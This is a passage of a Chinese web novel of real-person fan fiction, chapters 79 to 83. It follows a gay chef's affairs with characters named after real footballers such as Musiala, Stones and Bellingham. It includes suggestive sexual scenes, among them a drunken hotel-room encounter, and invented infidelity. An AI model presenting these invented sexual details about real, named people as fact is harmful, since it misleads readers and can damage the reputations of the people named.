明明是为了他好,让他第一不要冲动以免将来后悔,第二不要轻易爱上自己,他还年轻,有的是选择,第三…fuck,不管了,没有那么多理由可以拒绝今晚这个一头扎进自己怀里的小鹿,虽然还有点手忙脚乱,磕磕绊绊,但足以表达他对自己的渴望和期待了。 克里奇利这个名字可不是浪得虚名,无论颜值身材?*? 还是气质都是gay圈天花板一样的存在。 传闻中的他还是一个绝不会在关键时刻掉链子,也绝不会把左位轻易拱手相让的顶级top。 惹到我你算是踢到钢板了。 克里奇利猛地挺起上身,原本伸的直直的长腿向上一蜷,小鹿就像坐滑梯一样溜下来了,双腿分开坐在他身上,他抬起双手就握住了小鹿的脖子,极其凶悍的亲了上去,压上唇瓣的瞬间深深吸了一口气,好像吸去了草木精华,也瞬间夺去了他的呼吸权,让他本就转不动的大脑直接宕机,连换气都忘了怎么换。 这是属于top的攻击,说到底他是经验丰富的老司机,怎么会任由不认路的新手带路呢,弄伤了谁都是不好的。 就算他再心急,再想较劲,也不能伤害他,是伤害他的身子。 没有语言上的沟通,克里奇利用实际行动告诉他,慢一点然后享受其中,不然以后再也不想男人了可不是自己的错。 克里奇利温柔地亲吻他,细致到每亲吻他一寸肌肤就可以凭借他的反馈来掌控他更多的感受。 亲的他想哭。 这种亲吻难道不是爱? 穆西亚拉试图跳过这令人崩溃的亲吻,感觉再被克里奇利亲下去,就要灵魂出窍,身不由己,完全处于下风,让他不仅收了身,还得收了魂,抽身离去时留下自己一个人在无尽的暗夜里挣扎。 就在他挺直了背,努力平复呼吸时,就被克里奇利勾着脖子带到了窗边。 玻璃是私密玻璃,纱帘也只是一层没什么实际意义的遮挡,从里面往外看是一清二楚,而从外面往里看则是黑乎乎一片。 可移步到窗边还是能让人发现有两个身影在晃动。 这种场所,到处都是热身运动,谁看谁呀。 克里奇利脑子里没有界限,但初出茅庐的小鹿可是被强行打开了视界,不仅看着楼下一堆声色犬马的诱惑,还在大玻璃前亲自上演鱼水之欢,他刚才的嚣张气焰一下子就灭了七分。 “等等。”他说,“我们来做个交易怎么样?” “做什么交易都是你吃亏,贾马尔。” 他忽然叫了自己的名字,加上他温热手掌拢在自己小腹前,让他又经不住发抖。 “你以后不许不搭理我,要不我会很没面子的。” “嗯。” “还有,要和我保持亲密。” “嗯。” “随叫随到。” “嗯?” “我的意思是,我需要你的时候,就像现在这样。” “只要我有空,乐意效劳。” “好,那你可以接受我的礼物了吗?记住,这可不是包.养你,这是你付出了应得的,我们之间就是交易。”省的自己犯花痴,这句话他咽下了没说。 “我就说,什么交易都是你吃亏,你这是人财两空。” “我乐意。” “你乐意的事还不少,你趴好,别动!” …… 过后,克里奇利搂着他,让他趴在自己身上,这沙发比他那单人床可窄多了,真的得叠着才能躺的下。 就这样让他趴在自己胸前听着心跳,一时竟也难舍难分,他摸着穆西亚拉的后脑勺,像怀里抱着一只小狗,还用手指卷他的发梢。 “你的心意我领了,我从不收小bottom的礼物,这样会让我平衡,本来我身体都不平衡了,还不让我心里平衡吗?” “你说谁是小bottom?”穆西亚拉捧着他的脸左右晃。 “别闹,你这个小bottom不仅莽撞,还没有边界感,怎么我说我不平衡你还晃我头呢。” “那你怎么还不晕,晃晕了你,把你绑回家,球禁你。” “别爱上我一切都好说。” * 凯恩的车他不想收,但是他和凯恩没有爱恨纠葛,执意不收的话也不太好,这份人情早晚得还回去。 但这房子他是绝对不会收的,就像他拒绝处关系一样,你情我愿的事别和物质挂钩,和物质挂钩,感情一准就变味儿,太多情侣分手后反目成仇,为了那点财产撕破脸对簿公堂,所以他不会让自己陷入跟异性恋一样的麻烦之中。 这是他的偏见。 穆西亚拉想纠正他这根深蒂固的偏见,又不会组织语言,还被他说的一愣一愣的。 难道gay就没有纯爱?就不能走入婚姻?穆西亚拉还小,他想不明白谈恋爱的目的是结婚这么深奥的道理,他也是走一步看一步。 过后,穆西亚拉把房子转手,然后在他的铁板烧小店旁边开了个健身房。 这样就有足够的理由去蹭饭了。 但是健身房开在这前不着村后不着店的地方,根本没人来办卡。 克里奇利为了照顾他生意,又把预约制改成了翻台制,结果他的店门口又排起了长队。 顾客们等位的时候就去跑上几公里,吃的饱饱的也去锻炼一下减减肥。 穆西亚拉看着日益增多的顾客,烦的他不得了,他给克里奇利发消息,说我不是要蹭你的客流量,我要是想让店里生意好,直接在门口摆上我的帅照不就行了。 克里奇利回他:“你精力旺盛,不给你找点活干,你就把我这吃倒闭了。” 穆西亚拉捧着手机咯咯笑,说谁叫你不要房子呢,笨蛋,就缠着你。 “今晚你可放过我那些羊排吧,那东西吃多了不好受。” “怎么?没有不好受呀!这就舍不得了?抠门!” “是我不好受,一晚上光提防着你,太难了!(so hard也有太硬了的意思)” “那你让一次吧,就一次。” “这样吧,要是你们这个赛季夺冠了,我就考虑考虑让你一次。” “你说的啊!” 穆西亚拉高兴的一下蹦上他的豪华大沙发,跟个小孩似转着圈跳,一个没站稳摔下来又在地上狼狈的滚了好几圈,最后呲牙咧嘴还不忘举着手机再确认一遍他的回复,恨不得亲死手机。 第80章 克里奇利不会被任何…… 克里奇利不会被任何一个笼子困住,哪怕是临时的或是短暂的,只要他听到野性的呼唤,就会不顾一切的冲出去,重返那片生机盎然的大森林,那才是他的归属。 但是穆西亚拉不这么认为,他认为早上10点把他请进健身房,那么他白天就有事干了,就像自己训练一样,没精力干别的,晚上他就会去隔壁店里工作,而那时自己也下班了,过去陪他吃个晚餐,一直盯着他到打烊,再心照不宣的等着接下来去自己那或者去他那。 就这样霸占了他一个星期。 看他挺老实,也挺满足,穆西亚拉觉得这样就算谈恋爱了,有没有结果以后再说,谁能保证谈恋爱就一定有结果呢。 他还认为之前没有人能把他留住是因为那些人都太贪心,想要又要,现在这样不就挺好,他就不信处久了能不产生感情。 等克里奇利真的爱上他,离不开他,趁着自己有优势反拿捏他还不是易如反掌。 而且他有的是时间在他耳边吹风,教育他不是每个人都把婚姻看成是爱情的坟墓,你需要成长。 克里奇利总是皱着眉看他,毫不客气的捏住他的脸说,“恋爱都没谈过的傻小子你懂个屁,我那是不屈服于异性恋的世界观,和他们对男人的定义。” “还有你那么小,不该说那些话,我不喜欢。” “这叫成熟,别以为没经验就什么都不懂,你有经验,但你是可悲的单身主义,噢不,是无情主义。” 看着穆西亚拉一双圆圆的大眼睛,说话时一眨不眨的,好像眼皮也跟着较劲,显得很有说服力。 克里奇利再不听也会走走心,他想我那不是无情主义,我对每一个看对眼的人都有试着去了解,并试着去记住他们。 穆西亚拉看了他一周,发现他还挺老实,主要是晚上他没精力出去狩猎,已经被自己霸占,天天用无形的长长的鹿角给顶在家里不能动。 但是他也有客场出差的时候。 克里奇利不去酒吧蹦迪那是不可能的,他在每一个城市都可以循着肉香找到狩猎圈,这是他的天性,没有好的嗅觉味觉怎么干这一行。 找到舒适圈以后就是释放天性的时刻,慕尼黑怎么会没有gay吧一条街呢。 只是他不再像以前那样孔雀开屏了,他懂得收敛了,现在小鹿天天跟自己厮混在一起,要是被人拍了自己出入知名会所,一定会连累小鹿被小报乱写。 题目他都想好了:《穆西亚拉和同性友人出双入对,疑似同居》 这倒没什么,主要是同居后还出去蹦迪,疑似无法满足同性好友的需求。 他那么帅,那么可爱,那么有活力,怎么会无法满足,是自己不服约束,不想为了一棵树放弃一片森林。 要是总对着一个人,就又重蹈覆辙了。 结果就是他刚前脚迈进“彩虹之夜”夜总会就被拍了个侧脸,出来时开着红白配色的奥迪越野又被拍了个背影。 新闻出来的标题是《英国厨神克里奇利深夜造访彩虹夜店,疑似出柜》 他笑了半天,自己不是出柜很久了吗,德国狗仔就是落后,断网了?不过自己还没公开出柜就是了,名气没那么大,出不出的谁管。 不过自从和德布劳内发展了一段地下情之后,他也成为媒体盯梢的目标了。 特别是最近又和凯恩,穆西亚拉,穆勒等人来往密切,难免招惹小报记者。 害,没拍到别人就行,他是无所谓。 来到德国已经好几个月了,又不在俱乐部干了,谁还闲的考古他。不过,直到被短信轰炸他就笑不出来了。 如今这引以为傲的同志身份还不能轻易抛头露面了呢,毕竟以前拈花惹草过于风流,搞不好把一大帮人拖下水。 德容问他,你去慕尼黑又开发了新的市场了?怎么没去拜仁打份工,怎么拜仁的你看不上,还得出去找饭吃吗? 他回德容,换个地方换个心情,迷宫一样的未来谁又知道下一个地方在哪,拜仁和巴萨一样,都是顶级俱乐部。 格瓦迪奥尔发消息说哥你小心点,不行还是回来吧,德国人生地不熟的,受了委屈没处说理去。 哈弗茨也给他发了消息说如果想找律师我可以帮你。 …… 真的是要命了。 大家都来关心他,看来这则新闻影响度不低,不过他那两个好基友都没问他,也就是说他像一粒石子投进一片湖中,引起了足坛一部分人的关注,而圈外则没什么动静。 看来他确实该考虑考虑独善其身的问题,不该惹的还是不要惹,否则,总有一天把那些关心他爱护他享受过他的人拉下水。 这时凯恩发消息问他要不要一起回伦敦,欧国联马上就要开始了。 他正犹豫着,穆西亚拉又打电话质问他,说我就离开一个晚上,你就跑出去偷腥,也太不像话了。 他立刻回复凯恩说好啊,你不担心我给你惹麻烦的话。 凯恩说哪儿的话,我才不在乎小报怎么写呢,写烦了一纸律师函,发过去就都老实了。 于是克里奇利厚着脸皮跟凯恩回国了。 他把小店交给助理,发了店公告,主厨不在,量力而行。 也没跟穆西亚拉打招呼,拍拍屁股就走人了。 凯恩在车上问他,“你跟贾马尔最近走的挺近,是不是因为这个被跟踪了?” 他说:“我让他离我远点,他不听,天天给我安排的明明白白,白天让我给他看店,晚上跑来蹭饭,他这么大目标能不被盯上吗?唉,也不知道谁拉谁下水,不过只要不写他就行。” 他说完以后又看了一眼坐在副驾驶上的凯恩,突然想到了什么,赶紧补上一句,“哈里,我也不想小报写你,这次跟你回去给你添麻烦了。” 他低下头,脸上浮现一丝少见的担忧,以前他从来不考虑这些,他就是这样随性,即使被发现和德布劳内的端倪,也从未否认过自己的身份。 只是不希望德布劳内不开心。 凯恩听了哈哈大笑,说你不用担心,我身直不怕影子弯,这次回去你就住我家。 克里奇利惊讶的啊了一声,说,“谢谢,但是我不能。” “我爸妈让你跟我回去的,你伦敦房子都卖了,把我家当家就行,说实话我第一眼看见你就觉得好像认识了很久一样,把你当弟弟看的,我还想带你去踢欧国联呢。” “哈哈…”克里奇利被他说的更不好意思了,从来都是脸比心大的他去谁家都跟自己家似的,突然被凯恩疼爱了真的有种莫名的感动和窝心。 “那我就给咱爸妈多做几个好菜,上次匆忙都没陪好他们。” “好啊,正好他们说没吃够呢。” 他们聊了一路,中间在酒店住了一晚,到伦敦已经天黑了。 凯恩爸妈都没睡,早早在门口等候他们,见到克里奇利来了,老两口眼睛一亮,热情的走上去拥抱他,把凯恩晾在一边像个提箱子的助理。 “好了,我把他给你们带回来了,要住好几天呢,别太稀罕了,吓到他。” “哈哈,布莱恩,真高兴你能来,别客气,把这里当成自己家就行。”凯恩爸爸笑着揽着他的肩膀往房子里走。 凯恩妈妈一手拉着他的手,一手摸了摸他的后脑勺,说孩子我都给你收拾好房间了,赶紧回房间歇歇。 克里奇利受宠若惊,他从来没被长辈如此关爱过,搞得他都不知道说什么才好。 凯恩只知道在一边笑,完全不介意自己已经被忽视了,进屋半天了,他妈妈才说,哈里你穿这么少不冷吗,这可是伦敦不是慕尼黑。 凯恩说,不知道的还以为我是混进来的皮箱。 “哈哈哈…”一家人爽朗的笑成一片。 回到英国,克里奇利感觉到很放松,他把手机一关,又玩失联。 就像消失了一样,整天窝在凯恩家里,白天帮伯父修理庭院,养花种菜,到饭点就去购物,回来和伯母一起做饭,凯恩晚上回来一家四口吃饭聊天。 两天后。 他们正聚在一起吃饭,聊着集训的事,很快他们就要出发去希腊打第一场比赛,凯恩对克里奇利说,“要不我带你去给国家队加油吧,以我家人的名义。” 克里奇利笑说:“我很想去,但我这次回英国谁都没说,我怕…” 他还没说完,凯恩电话响了。 竟然是英足总球员福利主管本杰明打来的电话,第一句就是请问你能联系上布莱恩.克里奇利先生吗。 凯恩看了一眼布莱恩,一时不知道该说什么。 对面似乎很着急一直在说,凯恩先生,这对我们来说很重要,你要是能联系上克里奇利先生,麻烦你一定要向他转达我的问候和请求,请他给我回个电话,就当是为了国家荣誉。 凯恩磕磕巴巴的回应说,我试试吧。 凯恩把克里奇利拉到一边,郑重的对他说,“这回我可保不住你了,英足总点你的名了,给我个面子回个电话吧。” 克里奇利想着这几天关机没电话还怪平静的,没想到有人找他都能找到凯恩头上,那这个面子必须得给啊。 果不其然,英足总邀请他去助阵英格兰男子足球国家队餐饮服务,以高出业界平均水平的双倍时薪聘请他强势加盟,并附带后续可选条款。【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 他也没有后退的余地…… 他也没有后退的余地,他服务满季的俱乐部都夺冠了,这个赛季的拜仁也要夺冠了,还仅仅是去了慕尼黑而已。 英足总循着风来找他了,掘地三尺都要把他请去,教练和球员的水平过不过硬先不说,先把诸神请到位,所谓兵马未动,粮草先行,赛前吃鸡爪子就是这个理。 克里奇利才住了不到2天,就跟着凯恩一起上班去了。 他也能想象的到,当他出现在英格兰队餐厅的时候,会是什么样的情景。 曼城的自不用说,一定是开心溢于言表,阿森纳的可能会颇有怨言,至于皇马的也会抱怨他去了对家吧。 怎么哄他们开心呢?大概吃的开心自然而然就开心了吧。 上任第一天就是动员宴会,他要为50多名征召队员和教练组工作人员准备一场盛大的晚宴。 当然不止是他,还有官方招募的其他名厨,在主管的带领下,一同为英格兰队做最好的餐饮服务。 英足总考虑的很周到,一定要为大家集合搞一个欢迎仪式,以水代酒鼓励他们不要怂,拿出我们三狮军团的气势来。 这一届大概是迄今为止身价最高,阵容最强的一支队伍。 克里奇利都知道贝林厄姆,赖斯,萨卡,格拉利什,福登动辄上亿。 如何让他们踢出上亿的水平他管不着,但是如何能让他们吃的舒适他可是有两把刷子。 在阿森纳的时候,赖斯整天缠着他要吃中式牧羊人派,烤的微焦的酥皮下面是鲜嫩的羊肉和蔬菜,叉子一翻热气腾腾的孜然香味扑鼻而来,他就会满足的对着克里奇利笑。 不太注重热量的格拉利什只需要用一道脆皮五花肉就可以轻松征服。 福登喜甜,给他嘴里塞小蛋糕时还要说句好听的哄他,比如你今天发型好帅,他就会蹦跳着进场,然后像个小吗喽一样窜来窜去。 想着过去那些人那些事,今天的主角们就闪亮登场了。 作为队长的凯恩在红毯尽头的幕布上率先签下名字,再走到宴会厅门口迎接他的队员们。 其他人像电影明星走红毯一样,从私家车上迈着大长腿下来,整理西装,夹克,发型,面对闪光灯优雅的挥手微笑,签完名字以后再和队长亲密拥抱,进了没有记者的内厅就可以放肆的和许久不见的亲密朋友贴贴了。 克里奇利没空迎接他们,说实话他都不想露面,欠的情债有点多,一碗水端平还有点难,他自己都不平了,还给自己出难题不成。 于是他为了隐藏自己,给大家准备了几道隐藏菜单,没一道菜是他以前做过的,球星们便不会循着菜品的蛛丝马迹猜到是他来了。 总之躲得了一时是一时。 每个人准备8道菜。 他不一会就交好了差,跟大学生食堂点菜似的,菜出的快饥饿就追不上我。 主要是做完了去一边躲清净。 还都是快手菜。 其中一道实在想不出来做什么,看见两罐甜玉米罐头,直接拿来做了一道松仁玉米。 唯独这道菜他以前做过,但只有一个人吃过,他恰好今天没来。 那还是在曼城的时候,有一次主食不够了,斯通斯是最后一个来餐厅的,克里奇利看到有一罐甜玉米罐头,灵机一动,就做了一道松仁玉米。 他想这次斯通斯没来,就做这道菜吧,他们都没吃过。 结果斯通斯又是最后一个进大名单的,本来他脚踝有点伤,不打算来了,但又不想错过这次比赛,还是打绷带来了。 用餐时他问格拉利什,是不是克里奇利来了,格拉利什说不可能吧,他都离开英国去了巴萨,又去了慕尼黑,显然是不想回来了,再说这里没一道菜是他做过的。 斯通斯又问福登你觉得呢,福登说,要是他来了不给我做椰汁西米露也就罢了,他不出来露个脸我是要记仇的! 赖斯问你们在说什么呢。 他们齐声说没什么。 搞得赖斯伸手指点他们表示不满,说不带搞小团体的啊。 格拉利什就坐过去伸长胳膊搂着他说,哪有,我最想你了。 其实他们曼城小分队把克里奇利看成英超奖杯,即使现在一个队也不愿意与阿森纳的人共享。 可能是刚见面,联赛里的竞争气焰还没过,想要迅速融在一起也需要个过度。 凯恩就转变的很快,他左边拉着西甲的队友,右边拢着英超的哥们儿,热情又不失威严的招呼大家多吃点,别客气,一会教练来了就吃不下了。 逗的一桌子人哈哈笑,说凯恩你是正宫,就你敢背后黑索斯盖特。(私设南门执教) 教练组在侧厅,他们也刚凑齐,索斯盖特简单寒暄了一阵就来看他钦点的大宝贝们了。 看到他们一个个红光满面,有说有笑,没有酒也觥筹交错,吃喝的很开心,他的心情也跟着欢快起来,但面儿上依然严肃。 他走过来问了声大家好,接着一如既往的提了三点要求:一不能饮酒,二不能夜不归宿,三不能乱吃东西,特别交代队里这次配了不同地区饮食供应,可以满足各种口味需要,再胡乱吃外面的东西出了问题可不是闹着玩的。 大家异口同声大声回应他:“YES SIR!” 他走了以后又开始蛐蛐他。 吃饭叙旧之余,斯通斯悄然离席。 他就觉得这道松仁玉米暗藏玄机,是有人给他发暗号,叫他来后厨一聚的吧。 他自顾自的欣喜起来,也不知道欣喜个什么劲儿。 当他往后厨走的时候,觉得手里空空的,也没法拿酒,就顺手从迎宾柱上扯了一把花拿在手里,像接媳妇下班似的兴冲冲的走进后厨。 克里奇利正在走廊的尽头抽烟休息,戴着耳机听着音乐看着酒店窗外那一片绿葱葱的草地和野花发呆。 突然面前就多了一把鲜花。 百合和玫瑰的香气一下子冲进他鼻腔里,害他打了个喷嚏。 那个从背后搂着他的人还收紧双臂迟迟不松手。 这人很高,但体重不重,克里奇利稍微往后仰一点,那人就脚步踉跄的往后退了几步。 而且他身上比花还香,是那种冷杉鼠尾草混合香,曼城的那谁,克里奇利反应过来了,他不是不来吗。 那人终于忍不住笑出声来。 克里奇利转过身,斯通斯手里拿着花张开双臂对着他笑。 克里奇利挑高了眉,还没等喊出他的名字,斯通斯就又把他给抱住了。 “嗨!布莱恩,我就知道是你!” “噢,约翰,没想到是你。” 两人互相拍了拍后背,斯通斯还用力捏了捏他的后颈。 再次相对时,克里奇利脖子红了一片。 斯通斯心脏狂跳,心想这人还怪腼腆的嘞,一抱就脸红,那要是亲亲呢? 看着斯通斯手里的鲜花,克里奇利只觉得呼吸不畅,嗓子发痒,他又打了个喷嚏。 “约翰,谢谢你的花,但我好像对花粉过敏。”说着,他眼睛里就泛起了泪花。 “噢,该死,我不知道你对花粉过敏,我…”他转头四处寻找垃圾桶,想把这捧花扔掉。 长长的走廊没有一个垃圾桶,克里奇利一边擦眼泪一边打开了窗,接过斯通斯手里的花直接扔在野花丛中,又把窗户关上。 斯通斯又手忙脚乱的掏兜找纸巾,结果兜里什么都没有,尴尬的他不知所措。 他盯着克里奇利红彤彤的眼睛和脖子上瞬间漫上的血色,不好意思的道歉,“对不起,你很难受吧?” “没事,别放在心上,浪费了你一番心意。” 说着克里奇利从裤子兜里掏出纸巾准备擦眼泪,不料顺着纸巾被带出来的一个小方塑料袋掉在了地上。 两人同时看向地面,斯通斯下意识想弯腰去捡,一看是私密物品,尴尬住了,这次轮到斯通斯脸红了。 克里奇利不慌不忙的捡起来揣进兜里,微微一笑说:“手套而已,别在意。” 斯通斯被他逗笑,故作镇定的抬手拍了他肩膀一下,说:“好久不见了,你这回来也不说一声,大家都很想你。” 克里奇利抿嘴笑笑,说,“约翰,你脚踝的伤怎么样了?没想到你这次能来。” “噢?”斯通斯想那道松仁玉米原来不是给自己的暗号,是他笃定自己不会来才做的,大概是不想露面。 他心里闪过一丝失望。 “没什么事,打个替补应该也可以,你走了以后我总是打替补。”他蓝色的眼睛流露出一丝忧郁,接着又说,“你在这我也是打替补。” “养伤要紧。”克里奇利温柔的拍了拍他的手臂,看着他有些自嘲的笑,心里的那份柔软又被触碰了一下。 之前和斯通斯的交往只停留在普通同事的层面,因为斯通斯无名指带着戒指。 他大概订婚了吧。 而且他不记得谁和他说过,斯通斯不太喜欢身体接触,除了在场上的激情互动之外,私底下与人刻意保持距离,可能有点洁癖。 他手里总是攥着一张纸巾,到处擦擦,电梯按键都不用手碰的。 克里奇利在餐厅也很注意,除了把餐厅打扫得一尘不染,每次掌厨完都去洗把脸换身衣服再喷点去烟火味儿的香水,总是给前来就餐的人们留下清爽干净的印象。 他们交谈完,斯通斯看出他不太想去前厅和大家打招呼,于是小声在他耳边说,“放心吧,我装没见过你,你什么时候准备好了,再和老朋友见面。” 总是替人着想的人是聪明心软的人,克里奇利有些生自己的气,以前都是到处撩人,概不负责,怎么现在还退到幕后,遮遮掩掩,扭扭捏捏,还得让好心人打掩护。 他说,“没事,我只是有点忙而已,这次我会把你们照顾的很好的。” 说完他就抬手把斯通斯松了的领带往上紧了紧,动作自然没有任何逾越却也暧昧到家。 两人走到前厅门口,他推了一下斯通斯的后背,说去吧,约翰,他们在等你跳舞。 第82章 由于没…… 由于没有香槟和鸡尾酒助兴,大家都只顾着埋头干饭,后来又象征性地在大厅中间舞了一会,不到9点就被索斯盖特撵着回房间了。 一个个的都很听话,领了各自的福利装备和带着姓名的国家队150周年纪念水杯,拿上房卡回房间休息。 这么早就睡觉是不可能的,但是第一天集中管理,大家还是比较老实,想着教练说的那三条禁令,谁也不敢以身试险。 克里奇利作为工作人员,也和他们一样不能随便出酒店大门,但是这个点让他睡觉?无疑是让他当和尚。 球员们有约束,他可没有,他随便惯了,但还没到不遵守工作原则的程度,他不遵守的从来都是生活作风。 于是他去了楼顶空中酒吧。 由于酒店被国家队征用了一部分,酒吧里客人很少,他对着个毛绒熊一杯又一杯地喝了不知多少杯龙舌兰和威士忌,这几天可把他憋坏了,要是不喝醉,这一宿得多难熬。 自从病了以来还没喝过大酒,晕的滋味不好受,但今晚就想快点晕过去,有什么事明天再说。 结果没到12点他就不省人事了。 酒保把他架起来问他:“先生你在哪个房间我送你回去。” 他说:“你们不是24小时营业吗,我要喝到明天早上6点。” 酒保摇摇头走了,还没见过醉成一摊烂泥还这么清醒的,但他小费给的多,也就不管他了。 虽然他这么说,但瞌睡虫养起来了,还得回去睡觉。 他踉踉跄跄的回到213房间,却怎么也刷不开门了,气的他哐哐踹了两脚,手扶在门上生醉气。 彼时的斯通斯刚和女友闹完一波分手,这是这个月第三次闹分手了,都是因为一些鸡毛蒜皮的小事。 生完气刚要睡着的他突然被刷门禁声音吵醒,以为是刷错房卡没理,接着又被踹门声惊扰,气的他一个鲤鱼打挺跳下床,猛地拽开门刚要开骂,一个高大的身影就向他倒了过来。 克里奇利双手支在门上,就这样毫无准备的扑他身上去了。 原来醉醺醺的克里奇利按错了电梯楼层,刷了他楼上313的房门,正是斯通斯的房间。 半夜天上掉帅哥,一下子掉进自己怀里,这是什么鬼福利。 斯通斯一看是他,喝的不成样子,生怕被别人看见,赶紧抱他进屋,把门锁上。 爱干净的他抱着克里奇利不知道该放哪,他不允许别人的外套和裤子直接沾到他的床单,连他女朋友也不行。 就在克里奇利自动找床的时候,他搂着他的腰不让他躺下,克里奇利就变躺为趴,直接把斯通斯扑倒在大床上。 他想,怎么床自己起来迎接我还不让我躺呢。 斯通斯头上画黑线,还好是我躺在床单上不是他。 害,都这时候了还在考虑外套上的灰尘,他都要睡自己了。 果不其然,克里奇利反应过来他身子底下不是床,是一个男人。 冷杉中鼠尾草的幽香,没错,是曼城那谁。 奇怪,这想法好熟悉,似乎重新过了某一时刻。 他那狩猎的本能,从来没消失过,只是离开德国小鹿后有点寂寞和愧疚,才会去深夜买醉。 一声不响的跟着凯恩回国,把日夜看守他的德国小鹿扔了,好像还有很多话没交代,叫他不要等自己回国家队吃点好的诸如此类的。 噢,这可是在英国,身子底下的是那谁来,他又忘了。 “嘿,Brian,你喝醉了吗?” “没,我没醉,噢,John.”他撑起自己的身子低头看了一眼,确认自己闻香没识错。 “那你怎么跑我这来了?” “啊?”克里奇利懵了,这不是自己房间吗,还想问他怎么进来的。 “别逗了,John,我可不是你女朋友,还有你可真有两下子,能叫人打开我的房间,你想干什么?”克里奇利一双大眼睛眯起来,狭长又勾人。 斯通斯被他说的一愣,接着有些生气地把他推翻在身侧,顾不得床单了,他满脑子都是问号,难道不是晚宴上的见面给他留下了深刻印象,现在他借酒来勇敢表白吗。 他知道克里奇利的取向,凭借他较宽的眼界和出去玩的经验。 以前没招惹他是因为克里奇利眼神总落在德布劳内身上,再就是自己忙着处理现女友和前女友之间剪不断理还乱的关系,还没意识到对漂亮的同性友人也不抗拒这件事。 现在这个漂亮的同性友人就躺在自己身侧,还问自己为什么到他的房间里来。 那还需要保持矜持,浪费这巧妙的邂逅吗? 说实话,之前真没幻想过他。 只是在四目相对的时候感叹过这人无论身材还是长相都和自己有几分相似,只是发色和瞳孔颜色不一样,还有他立体的五官,穿衣的品味,傲人的身姿,往那一站不像个厨子,倒像个踢球的。 如果他是球员,踢什么位置呢? 前锋?攻击力十足,但不像哈兰德那般吓人。 后卫?杀伐果断的气场好像能拿下任何人,但不够狠厉。 那应该是中场了,嗯,虽然不直,但直塞应该会。 什么乱七八糟的,什么直塞。 他看了克里奇利一眼,发现他正用手掌撑着自己的头,眼尾猩红的看着自己。 见自己转过头去看他,便像得到了许可一样,大长胳膊一伸,大长腿一迈就把自己给搂过去了。 克里奇利凭借熟悉的床上对位感觉,手指精准找到了他的指缝,与他十指相扣,在柔软的床垫上按压了一个窝。 毛绒绒的发梢已经贴上他的脸,温热的呼吸喷洒在他的颈侧,而他就好像被施了定身术一样,除了一动不动之外还有点僵硬,不知道该进还是该退。 正当想着,他的额头就被克里奇利温热的手掌给覆盖住,接着拱起手背顺着他的脸颊摸到锁骨,摸的他一下子失去了主张。 还没等这波接触带来的酥麻过去,他又压了上来,还一直盯着他的脸,硬撑起有些沉重的眼皮,连脱衣服都一眨不眨的盯着他。 把他盯到发毛,盯到发烧。 这炽热的眼神好像在确认,在诉说,在和慷慨又成熟的男人沟通,用不了一分钟,他们之间的火苗就燃起来了。 所有的一切都被抛在脑后。 这男人太香了。 他赤着上身,肌肉像一副铠甲有棱有角的包裹在宽大的骨架上,体脂率恰到好处的彰显着人类躯体美学,在房间的暗色调下皮肤也透着古铜色的华彩。 到底是谁可以拥有这样一个绝世男友? 反正不是自己,他就是来一醉许风流的。 …… 早上醒来,克里奇利睁开眼睛又懵了,自己在哪,旁边这是谁? 他抬手捏了捏自己的鼻梁,反应过来了,再看过去就迎上一双湛蓝的眼睛。 那人伸开胳膊温柔的搂了他一下,又埋头在他胸前蹭了蹭,意犹未尽的摸上他的脸,好像在回味昨夜他给的温存。 克里奇利也抬手摸了摸他瘦削的手指,突然想起来,他是戴戒指的人。 他抓过他手来看,发现斯通斯左手无名指上的戒指不见了,只留下一个痕迹。 吓得他一骨碌爬起来光着身子就翻下床去找。戒指不是自己撸下来的,应该不是吧,他记不清了,太混蛋而没有能力制止自己。 斯通斯:“你找什么呢?” 他说:“戒指,你手上的戒指不见了,我好像犯了一个无比巨大的错误。” 斯通斯:“不用找了,是我摘的,我想好了,我要分手。” 克里奇利:“别啊,约翰,别因为我分手,我可不值得你这样做。” 斯通斯笑说:“不是因为你,我早就想分手了,只是凑巧罢了。” 这时克里奇利看见他那边床头橱上有一枚戒指,赶紧翻过去拿来戒指,又抓住斯通斯的左手,给他戴在原处。 戒指擦着他细长的指节,顺滑的戴在他的无名指上。 他忍不住笑了。 “你没给别人戴过戒指吧。” “废话,我又没结过婚。” “那么,我很幸运。” 克里奇利一阵心慌,但又感到莫名的幸福。或许他这一辈子都没有机会给别人戴上戒指,斯通斯误打误撞给了他这次机会。 他捧过斯通斯的脸,在他的嘴唇上狠狠地印了一下,说,“我也是,但我是一次性丈夫,就像昨晚的小方塑料袋,你见过的那个,他不是一次性手套,但也是一次性用品,爽完了就完成了它的使命。 斯通斯拉上被子转了过去,说:“幸亏你自带,不然结账时我还不知道该怎么解释。” 他说:“我有的是。” “想要就来找我,借。” * 比赛日。 斯通斯替补上场4分钟后铲球解围再次扯到脚踝,坐在地上起不来了。 队医介入后表示无法继续比赛,他被搀扶着下场,无奈又悲伤的提前结束了比赛。 他拒绝搀扶,大吼着他自己可以,都不要碰他,赶走所有人后自己一瘸一拐的走进球员通道。 克里奇利看到了这一幕,为了照顾他情绪,退到了更衣室门口等他。 他看见克里奇利后忍不住落泪,背靠在更衣室门口的墙上,踮着受伤的脚不敢受力。 克里奇利拥抱他,低头亲吻了他的脖子,在他耳边轻声说,“约翰,你做的已经很好了,该休息了。” 斯通斯泪眼模糊,脖颈潮湿,他推了推克里奇利,对他说,“别离我这么近,很臭。” “你一点都不臭,你是我见过的男人里面最香的。” 这一幕被下半场换下的进球功臣贝林厄姆看见了。 第83章 “Brian!” …… “Brian!” 他离着20米的距离就大叫出那人的名字,声音响亮的在长长的走廊里都能听得到回音。 说着他就咔哒咔哒的小跑过来,穿着球鞋跑在地毯上一跳一跳的完全不像踢了80多分钟的人。 两人循声看过去,一个有些慌张,一个也却很淡定。 早晚得碰见这些他欣赏过的小伙子们。 由于不跟车,还是躲了几天,到这也看开了,躲什么躲,大家一起见面又能怎样?实在不行开个房,一起聊聊天。 “嗨!Jude!” 还有几步远的距离就可以破镜重圆来一个大大的拥抱,贝林厄姆却杀住了车。 他们刚才在亲密交谈,自己来的不是时候吧。 可已经奔到这了。 还有,这男人不仅加入了巴萨,主客场的时候连个面都没露,是不想见自己吧。 他刚刚还欢喜溢于言表的样子此刻瞬间沉了下去。 斯通斯也发现了他的异样。 一向活泼开朗爱笑爱打闹的朱贝林,见了熟人都会不分时宜的扑上去,然后没轻没重的锤人,抱怨这抱怨那的,现在怎么还保守起来了。 见他站在离自己几米远的地方停住,心事重重的样子,就知道克里奇利惹的祸绝不只是勾了自己的魂这么简单。 为了缓解尴尬,斯通斯说:“没事,Jude,不用哭丧个脸,旧伤复发,几天的事。” 